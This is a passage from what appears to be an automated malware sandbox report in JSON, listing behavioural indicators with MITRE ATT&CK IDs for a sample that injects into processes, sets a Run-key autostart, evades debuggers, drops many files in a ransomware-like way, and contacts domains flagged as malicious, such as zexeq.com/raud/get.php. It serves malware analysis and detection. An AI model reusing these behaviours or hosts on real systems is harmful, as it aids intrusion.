\"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"$65","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"$66","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"$67","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains reference to Outlook data files path","description":"Found string \"%USERPROFILE%\\Documents\\Outlook Files\\*\" (Indicator: \"\\documents\\outlook files\"; Source: \"00000000-00005728-00000C27-129786013111\")\n Found string \":\\Users\\HAPUBWS\\Documents\\Outlook Files\\\" (Indicator: \"\\documents\\outlook files\"; Source: \"00000000-00004284.00000000.88232.00DF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1114.001","relevance":3,"id":"string-570","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$68","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: 04587099.exe.bin]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: build2.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports Mailslot related APIs","description":"Observed import api \"CreateMailslot\" which can \"Creates a mailslot with the specified name\" [Source: dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin]\n Observed import api \"CreateMailslot\" which can \"Creates a mailslot with the specified name\" [Source: 04587099.exe.bin]","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-83","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to terminate process and its threads","description":"\"04587099.exe\" called \"NtTerminateProcess\" with parameters {\"ExitStatus\": \"0\"\n \"$name\": \"C:\\\\04587099.exe\"}\n \"icacls.exe\" called \"NtTerminateProcess\" with parameters {\"ExitStatus\": \"0\"\n \"$name\": \"C:\\\\WINDOWS\\\\SysWOW64\\\\icacls.exe\"}\n \"WerFault.exe\" called \"NtTerminateProcess\" with parameters {\"ExitStatus\": \"0\"\n \"$name\": \"C:\\\\WINDOWS\\\\SysWOW64\\\\WerFault.exe\"}\n \"04587099.exe\" called \"NtTerminateProcess\" with parameters {\"ExitStatus\": \"0\"\n \"$name\": \"C:\\\\Users\\\\HAPUBWS\\\\AppData\\\\Local\\\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\\\04587099.exe\"}\n \"lsass.exe\" called \"NtTerminateProcess\" with parameters {\"ExitStatus\": \"0\"\n \"$name\": \"C:\\\\Windows\\\\System32\\\\lsass.exe\"}\n \"DllHost.exe\" called \"NtTerminateProcess\" with parameters {\"ExitStatus\": \"0\"\n \"$name\": \"C:\\\\WINDOWS\\\\system32\\\\DllHost.exe\"}\n \"04587099.exe\" called \"NtTerminateProcess\" with parameters {\"FileInformationClass\": \"9\"\n \"Length\": \"8132\"\n \"$name\": \"C:\\\\Windows\\\\SysWOW64\\\\msimg32.dll\"}","origin":"API Call","mitre_attack_id":"T1489","relevance":1,"id":"api-247","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00004284.00000000.88232.00890000.00000004.mdmp\")\n Found string \"\\Device\\NetBT_Tcpip_{E712CB97-6066-4A95-9107-EF68F40F8718}\" (Indicator: \"\\Device\\\"; Source: \"00000000-00004284.00000000.88232.00890000.00000004.mdmp\")\n Found string \"\\Device\\\" (Indicator: \"\\Device\\\"; Source: \"00000000-00004284.00000000.88232.04FB8000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00005728.00000000.80675.00600000.00000004.mdmp, 00000000-00005728.00000001.82597.00600000.00000004.mdmp\")\n Found string \"\\Device\\NetBT_Tcpip_{E712CB97-6066-4A95-9107-EF68F40F8718}\" (Indicator: \"\\Device\\\"; Source: \"00000000-00005728.00000000.80675.00600000.00000004.mdmp, 00000000-00005728.00000000.80675.00DC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; File: \"build2.exe.1057325739\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$69","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"$6a","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$6b","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Unusual Characteristics","name":"Calls an API typically used to map section into the virtual address space of a process","description":"$6c","origin":"API Call","mitre_attack_id":"T1055","relevance":1,"id":"api-259","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Unusual Characteristics","name":"Calls an API typically used to unmap view of a section from a process","description":"\"04587099.exe\" called \"NtUnmapViewOfSection\" with parameters {\"ProcessHandle\": \"4294967295\"\n \"BaseAddress\": \"48e0000\"}\n \"04587099.exe\" called \"NtUnmapViewOfSection\" with parameters {\"ProcessHandle\": \"4294967295\"\n \"BaseAddress\": \"48b0000\"}","origin":"API Call","mitre_attack_id":"T1055.012","relevance":1,"id":"api-261","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"SetSystemPowerState\" (Indicator: \"SetSystemPowerState\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"build2.exe\" - Location: [%LOCALAPPDATA%\\df8c6a0c-0177-49ac-afd3-6be3e6628609\\build2.exe]- [targetUID: 00000000-00006344]\n Dropped file: \"deployment.properties\" - Location: [%LOCALAPPDATA%\\ow\\Sun\\Java\\Deployment\\deployment.properties]- [targetUID: 00000000-00005728]\n Dropped file: \"57C8EDB95DF3F0AD4EE2DC2B8CFD4157\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00006576]\n Dropped file: \"04587099.exe\" - Location: [%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\04587099.exe]- [targetUID: 00000000-00005728]\n Dropped file: \"bowsakkdestx.txt\" - Location: [%LOCALAPPDATA%\\bowsakkdestx.txt]- [targetUID: 00000000-00005728]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files with image extension","description":"\"oobe-bookend-cortanaspeak.gif\" has type \"GIF image data 4267 x\" and extension \"gif\"\n \"oobe-cortana-excited.gif\" has type \"GIF image data 873\" and extension \"gif\"\n \"oobe-cortana-bow.gif\" has type \"GIF image data 27327\" and extension \"gif\"","origin":"Binary File","mitre_attack_id":"T1105","id":"binary-56","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\" was detected as \"VC8 -> Microsoft Corporation\"\n \"04587099.exe.bin\" was detected as \"VC8 -> Microsoft Corporation\"\n \"build2.exe\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"04587099.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"icacls.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".data\n .data\n .data with unusual entropies 7.84756547744\n 7.84756547744\n 7.36262808413","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Tries to detect debugger using ProcessDebugPort","description":"\"04587099.exe queries ProcessDebugPort (UID: 6344), \"04587099.exe queries ProcessDebugPort (UID: 4284)","origin":"API Call","mitre_attack_id":"T1622","relevance":5,"id":"api-238","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to enumerate services","description":"OpenSCManagerW@ADVAPI32.DLL at 00000000-00006344-20777-112-00411A10\n OpenSCManagerW@ADVAPI32.DLL at 00000000-00005728-35490-112-00411A10","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1007","relevance":7,"id":"stream-27","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle","description":"GetModuleHandleW@KERNEL32.DLL at 00000000-00006344-20777-671-00427D6C\n GetModuleHandleW@KERNEL32.DLL at 00000000-00006344-20777-508-0043B88D\n GetModuleHandleA@KERNEL32.DLL at 00000000-00006344-20777-260-004549A0\n GetModuleHandleExW@KERNEL32.DLL at 00000000-00006344-20777-51-00427AD7\n GetModuleHandleExW@KERNEL32.DLL at 00000000-00006344-20777-170-004211DD\n GetModuleHandleA@KERNEL32.DLL at 00000000-00005728-35490-260-004549A0\n GetModuleHandleExW@KERNEL32.DLL at 00000000-00005728-35490-170-004211DD\n GetModuleHandleExW@KERNEL32.DLL at 00000000-00005728-35490-51-00427AD7\n GetModuleHandleW@KERNEL32.DLL at 00000000-00005728-35490-671-00427D6C\n GetModuleHandleW@KERNEL32.DLL at 00000000-00005728-35490-508-0043B88D","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.dll at 11225-1-0040B34F\n GetStartupInfoW@KERNEL32.DLL at 00000000-00006344-20777-679-00432603\n GetStartupInfoW@KERNEL32.DLL at 00000000-00006344-20777-662-00428754\n GetStartupInfoW@KERNEL32.DLL at 00000000-00005728-35490-679-00432603\n GetStartupInfoW@KERNEL32.DLL at 00000000-00005728-35490-662-00428754\n GetStartupInfoW@KERNEL32.dll at 53698-1-0040B3C0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"24/89 reputation engines marked \"http://zexeq.com\" as malicious (26% detection rate)\n 24/89 reputation engines marked \"http://zexeq.com/raud/get.php\" as malicious (26% detection rate)\n 3/88 reputation engines marked \"https://api.2ip.ua\" as malicious (3% detection rate)\n 21/89 reputation engines marked \"http://colisumy.com\" as malicious (23% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"36/70 Antivirus vendors marked sample as malicious (51% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"04587099.exe\" reads file \"C:\\Users\\HAPUBWS\\Desktop\\desktop.ini\"\n \"04587099.exe\" reads file \"C:\\Users\\HAPUBWS\\Documents\\desktop.ini\"\n \"04587099.exe\" reads file \"C:\\Users\\HAPUBWS\\Music\\desktop.ini\"\n \"04587099.exe\" reads file \"C:\\Users\\HAPUBWS\\Pictures\\desktop.ini\"\n \"04587099.exe\" reads file \"C:\\Users\\HAPUBWS\\Videos\\desktop.ini\"\n \"04587099.exe\" reads file \"C:\\Users\\HAPUBWS\\Downloads\\desktop.ini\"\n \"04587099.exe\" reads file \"C:\\Users\\HAPUBWS\\OneDrive\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$6d","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"04587099.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"SYSHELPER\"; Value: \"\"%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\04587099.exe\" --AutoStart\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"04587099.exe\" wrote 10240 bytes starting with PE header signature to file \"C:\\Users\\HAPUBWS\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\build2[1].exe\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...\n \"04587099.exe\" wrote 10240 bytes starting with PE header signature to file \"C:\\Users\\HAPUBWS\\AppData\\Local\\df8c6a0c-0177-49ac-afd3-6be3e6628609\\build2.exe\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"20.30.4.55\"\n Potential IP \"192.168.243.70\" found in string \"ddress: 192.168.243.70, mac: E6:06:3B:03:0C:27\"\n \"2.5.29.17\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.32\"\n \"2.5.29.31\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.19\"\n \"2.5.29.14\"\n \"2.5.29.15\"\n \"2.5.29.1\"\n \"2.5.4.3\"\n \"2.5.29.10\"\n \"2.5.29.16\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 162.0.217.254 on port 443 is sent without HTTP header\n TCP traffic to 93.152.141.65 on port 80 is sent without HTTP header\n TCP traffic to 211.168.53.110 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"04587099.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"The input sample dropped very many files","description":"The input sample dropped 1048 files (often an indicator for ransomware)","origin":"Binary File","mitre_attack_id":"T1491.001","relevance":5,"id":"binary-10","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"04587099.exe\" marked \"C:\\Users\\HAPUBWS\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\geo[1].json\" for deletion\n \"04587099.exe\" marked \"C:\\Users\\HAPUBWS\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\get[1].htm\" for deletion\n \"04587099.exe\" marked \"C:\\Users\\HAPUBWS\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\build2[1].exe\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$6e","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"04587099.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"build2.exe\" claimed CRC 503210 while the actual is CRC 836888","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetDriveTypeW\n GetFileAttributesW\n UnhandledExceptionFilter\n WriteFile\n GetModuleFileNameW\n IsDebuggerPresent\n GetModuleFileNameA\n TerminateProcess\n LoadLibraryW\n GetTickCount\n LoadLibraryA\n GetStartupInfoW\n FindNextFileA\n GetProcAddress\n CreateFileW\n GetCommandLineA\n GetModuleHandleA\n GetModuleHandleW\n Sleep\n GetDriveTypeA\n DeleteFileA\n FindFirstFileA","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$6f","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"04587099.exe\" called \"CreateProcessA\" with parameter \"\"C:\\04587099.exe\"\" - (UID: 00000000-00005124)\n \"04587099.exe\" called \"CreateProcessA\" with parameter \"\"C:\\04587099.exe\" --Admin IsNotAutoStart IsNotTask\" - (UID: 00000000-00005616)\n \"04587099.exe\" called \"CreateProcessA\" with parameter \"\"%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\04587099.exe\" --Task\" - (UID: 00000000-00004268)\n \"04587099.exe\" called \"CreateProcessA\" with parameter \"%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\04587099.exe --Task\" - (UID: 00000000-00004740)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"36/70 Antivirus vendors marked sample as malicious (51% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"36/70 Antivirus vendors marked dropped file \"04587099.exe.bin\" as malicious (classified as \"Gen:Variant.Ser.Zusy\" with 51% detection rate)\n 50/79 Antivirus vendors marked dropped file \"build2.exe\" as malicious (classified as \"Trojan.Generic\" with 63% detection rate)\n 36/70 Antivirus vendors marked dropped file \"04587099.exe\" as malicious (classified as \"Gen:Variant.Ser.Zusy\" with 51% detection rate)\n 50/79 Antivirus vendors marked dropped file \"build2_1_.exe\" as malicious (classified as \"Trojan.Generic\" with 63% detection rate)","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"$70","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"04587099.exe\" loaded module \"%WINDIR%\\SysWOW64\\taskschd.dll\" at 73850000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets thread context in a remote process (often injection or process hollowing)","description":"\"04587099.exe\" set thread context in remote process \"C:\\04587099.exe\" (PID: 19b0)\n \"04587099.exe\" set thread context in remote process \"C:\\04587099.exe\" (PID: 18c8)\n \"04587099.exe\" set thread context in remote process \"%LOCALAPPDATA%\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\04587099.exe\" (PID: 1b58)\n \"04587099.exe\" set thread context in remote process \"C:\\Users\\HAPUBWS\\AppData\\Local\\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\\04587099.exe\" (PID: 1660)\n \"04587099.exe\" set thread context in remote process 